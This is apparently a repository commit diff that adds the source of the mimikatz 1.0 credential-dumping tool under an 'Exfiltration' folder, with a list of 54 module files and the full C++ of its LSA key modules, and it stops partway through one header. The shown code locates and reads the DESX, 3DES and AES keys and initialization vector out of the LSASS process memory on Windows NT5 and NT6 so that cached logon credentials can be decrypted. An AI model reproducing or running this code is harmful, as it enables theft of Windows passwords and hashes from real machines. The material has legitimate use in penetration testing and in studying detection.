aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/mimikatz/modules
diff options
context:
space:
mode:
Diffstat (limited to 'Exfiltration/mimikatz-1.0/mimikatz/modules')
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp76
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h17
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp186
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h45
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp135
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h70
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp70
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h44
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp217
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h105
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp92
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h32
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp94
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h37
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp91
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h29
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp594
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h36
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp306
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h30
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp300
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h133
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp301
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h23
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp43
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h18
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp25
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h19
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp120
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h33
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp140
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h72
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp210
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h30
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp167
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h33
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp298
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h32
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp353
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h34
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp348
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h64
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp191
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h34
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp77
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h23
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp40
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h17
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp291
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h55
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp138
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h27
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp162
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h45
54 files changed, 6202 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp
new file mode 100644
index 0000000..9b51c7f
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp
@@ -0,0 +1,76 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "keys_nt5.h"
+#include "..\..\global.h"
+PBYTE * mod_mimikatz_sekurlsa_keys_nt5::g_pRandomKey = NULL, * mod_mimikatz_sekurlsa_keys_nt5::g_pDESXKey = NULL;
+
+#ifdef _M_X64
+BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3};
+LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + sizeof(long));
+LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long));
+LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long));
+LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long));
+#elif defined _M_IX86
+BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x84, 0xc0, 0x74, 0x44, 0x6a, 0x08, 0x68};
+LONG OFFS_WNT5_g_Feedback = sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY);
+LONG OFFS_WNT5_g_pRandomKey = OFFS_WNT5_g_Feedback + sizeof(long) + 5 + 2 + 2 + 2;
+LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_pRandomKey+ sizeof(long) + 2;
+LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pDESXKey + sizeof(long) + 5 + 2;
+#endif
+
+bool mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData()
+{
+ PBYTE ptrBase = NULL;
+ DWORD mesSucces = 0;
+ if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT5_LsaInitializeProtectedMemory_KEY, &ptrBase, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY)))
+ {
+#ifdef _M_X64
+ PBYTE g_Feedback = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT5_g_Feedback) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_Feedback));
+ g_pRandomKey = reinterpret_cast<PBYTE *>((ptrBase + OFFS_WNT5_g_pRandomKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_pRandomKey));
+ g_pDESXKey = reinterpret_cast<PBYTE *>((ptrBase + OFFS_WNT5_g_pDESXKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_pDESXKey));
+ PDWORD g_cbRandomKey = reinterpret_cast<PDWORD >((ptrBase + OFFS_WNT5_g_cbRandomKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_cbRandomKey));
+#elif defined _M_IX86
+ PBYTE g_Feedback = *reinterpret_cast<PBYTE *>(ptrBase + OFFS_WNT5_g_Feedback);
+ g_pRandomKey = *reinterpret_cast<PBYTE **>(ptrBase + OFFS_WNT5_g_pRandomKey);
+ g_pDESXKey = *reinterpret_cast<PBYTE **>(ptrBase + OFFS_WNT5_g_pDESXKey);
+ PDWORD g_cbRandomKey = *reinterpret_cast<PDWORD *>(ptrBase + OFFS_WNT5_g_cbRandomKey);
+#endif
+ *g_Feedback = NULL; *g_pRandomKey = NULL; *g_pDESXKey = NULL; *g_cbRandomKey = NULL;
+
+ mesSucces = 0;
+ if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (g_Feedback - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_Feedback, 8, mod_mimikatz_sekurlsa::hLSASS))
+ mesSucces++;
+ if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_cbRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_cbRandomKey, sizeof(DWORD), mod_mimikatz_sekurlsa::hLSASS))
+ mesSucces++;
+ if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_pRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
+ {
+ mesSucces++;
+ *g_pRandomKey = new BYTE[*g_cbRandomKey];
+ if(mod_memory::readMemory(ptrBase, *g_pRandomKey, *g_cbRandomKey, mod_mimikatz_sekurlsa::hLSASS))
+ mesSucces++;
+ }
+ if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_pDESXKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
+ {
+ mesSucces++;
+ *g_pDESXKey = new BYTE[144];
+ if(mod_memory::readMemory(ptrBase, *g_pDESXKey, 144, mod_mimikatz_sekurlsa::hLSASS))
+ mesSucces++;
+ }
+ }
+ else (*outputStream) << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl;
+ return (mesSucces == 6);
+}
+
+bool mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData()
+{
+ if(g_pRandomKey && *g_pRandomKey)
+ delete[] *g_pRandomKey;
+ if(g_pDESXKey && *g_pDESXKey)
+ delete[] *g_pDESXKey;
+
+ return true;
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h
new file mode 100644
index 0000000..121d9c5
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h
@@ -0,0 +1,17 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "../mod_mimikatz_sekurlsa.h"
+
+class mod_mimikatz_sekurlsa_keys_nt5 {
+
+private:
+ static PBYTE *g_pRandomKey, *g_pDESXKey;
+public:
+ static bool searchAndInitLSASSData();
+ static bool uninitLSASSData();
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp
new file mode 100644
index 0000000..ac642ef
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp
@@ -0,0 +1,186 @@
+/* Benjamin DELPY `gentilkiwi`
+http://blog.gentilkiwi.com
+benjamin@gentilkiwi.com
+Licence : http://creativecommons.org/licenses/by/3.0/fr/
+Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "keys_nt6.h"
+#include "..\..\global.h"
+HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL;
+PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL;
+mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL;
+BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL;
+
+BYTE kiwiRandom3DES[24], kiwiRandomAES[16];
+
+#ifdef _M_X64
+BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D};
+LONG OFFS_WNO8_hAesKey = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 5 + 3;
+LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long));
+LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3;
+LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long));
+LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3;
+
+BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D};
+LONG OFFS_WIN8_hAesKey = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 4 + 3;
+LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + sizeof(long));
+LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3;
+#elif defined _M_IX86
+BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68};
+LONG OFFS_WNO8_hAesKey = -(5 + 6 + sizeof(long));
+LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + sizeof(long));
+LONG OFFS_WNO8_InitializationVector = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY);
+
+BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68};
+LONG OFFS_WIN8_hAesKey = -(2 + 6 + sizeof(long));
+LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + sizeof(long));
+LONG OFFS_WIN8_InitializationVector = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY);
+#endif
+
+bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData()
+{
+ if(!hBCrypt)
+ hBCrypt = LoadLibrary(L"bcrypt");
+
+ PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY;
+ ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY;
+ LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector;
+ if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+ {
+ PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY;
+ SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY);
+ OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey;
+#ifdef _M_X64
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey;
+ OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector;
+ }
+ else
+ {
+ OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey;
+ OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector;
+ }
+#elif defined _M_IX86
+ OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey;
+ OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector;
+#endif
+ }
+ else
+ {
+ PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY;
+ SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY);
+ OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey;
+ OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey;
+ OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector;
+ }
+
+ PBYTE ptrBase = NULL;
+ DWORD mesSucces = 0;
+ if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY))
+ {
+#ifdef _M_X64
+ LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4;
+ PBYTE InitializationVector = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_InitializationVector));
+ hAesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey));
+ h3DesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey));
+ hAesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)));
+ h3DesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)));
+#elif defined _M_IX86
+ PBYTE InitializationVector = *reinterpret_cast<PBYTE * >(ptrBase + OFFS_WNT6_InitializationVector);
+ hAesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_hAesKey);
+ h3DesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_h3DesKey);
+ hAesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2);
+ h3DesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2);
+#endif
+ if(hBCrypt && LsaInitializeProtectedMemory())
+ {
+ if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS))
+ mesSucces++;
+
+ KIWI_BCRYPT_KEY maCle;
+ KIWI_BCRYPT_KEY_DATA maCleData;
+
+ if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
+ if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS))
+ if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS))
+ if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes à la fin, la structure de départ n'était pas inutile ;)
+ mesSucces++;
+
+ if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
+ if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS))
+ if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS))
+ if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS))
+ mesSucces++;
+ }
+ else (*outputStream) << L"LsaInitializeProtectedMemory NT6 KO" << endl;
+ }
+ else (*outputStream) << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl;
+
+ return (mesSucces == 3);
+}
+
+
+bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData()
+{
+ if(hBCrypt)
+ {
+ LsaCleanupProtectedMemory();
+ FreeLibrary(hBCrypt);
+ }
+ return true;
+}
+
+bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory()
+{
+ bool resultat = false;
+
+ PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast<PBCRYPT_OPEN_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider"));
+ PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast<PBCRYPT_SET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptSetProperty"));
+ PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast<PBCRYPT_GET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptGetProperty"));
+ PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast<PBCRYPT_GENERATE_SYMMETRIC_KEY>(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey"));
+
+ if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) &&
+ NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0)))
+ {
+ if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) &&
+ NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0)))
+ {
+ DWORD DES3KeyLen, AESKeyLen, cbLen;
+
+ if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) &&
+ NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0)))
+ {
+ DES3Key = new BYTE[DES3KeyLen];
+ AESKey = new BYTE[AESKeyLen];
+
+ resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) &&
+ NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0));
+ }
+ }
+ }
+ return resultat;
+}
+
+bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory()
+{
+ PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast<PBCRYTP_DESTROY_KEY>(GetProcAddress(hBCrypt, "BCryptDestroyKey"));
+ PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast<PBCRYTP_CLOSE_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider"));
+
+ if (h3DesKey )
+ K_BCryptDestroyKey(*h3DesKey);
+ if (hAesKey )
+ K_BCryptDestroyKey(*hAesKey);
+
+ if (h3DesProvider)
+ K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0);
+ if (hAesProvider )
+ K_BCryptCloseAlgorithmProvider(*hAesProvider, 0);
+
+ if(DES3Key)
+ delete[] DES3Key;
+ if(AESKey)
+ delete[] AESKey;
+
+ return true;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h
new file mode 100644
index 0000000..9b1940a
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h
@@ -0,0 +1,45 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "../mod_mimikatz_sekurlsa.h"
+
+class mod_mimikatz_sekurlsa_keys_nt6 {
+
+private:
+ static HMODULE hBCrypt;
+
+ typedef struct _KIWI_BCRYPT_KEY_DATA {
+ DWORD size;
+ DWORD tag;
+ DWORD type;
+ DWORD unk0;
+ DWORD unk1;
+ DWORD unk2;
+ DWORD unk3;
+ PVOID unk4;
+ BYTE data; /* etc... */
+ } KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA;
+
+ typedef struct _KIWI_BCRYPT_KEY {
+ DWORD size;
+ DWORD type;
+ PVOID unk0;
+ PKIWI_BCRYPT_KEY_DATA cle;
+ PVOID unk1;
+ } KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;
+
+ static PBYTE DES3Key, AESKey;
+ static PKIWI_BCRYPT_KEY * hAesKey, * h3DesKey;
+ static BCRYPT_ALG_HANDLE * hAesProvider, * h3DesProvider;
+
+ static bool LsaInitializeProtectedMemory();
+ static bool LsaCleanupProtectedMemory();
+
+public:
+ static bool searchAndInitLSASSData();
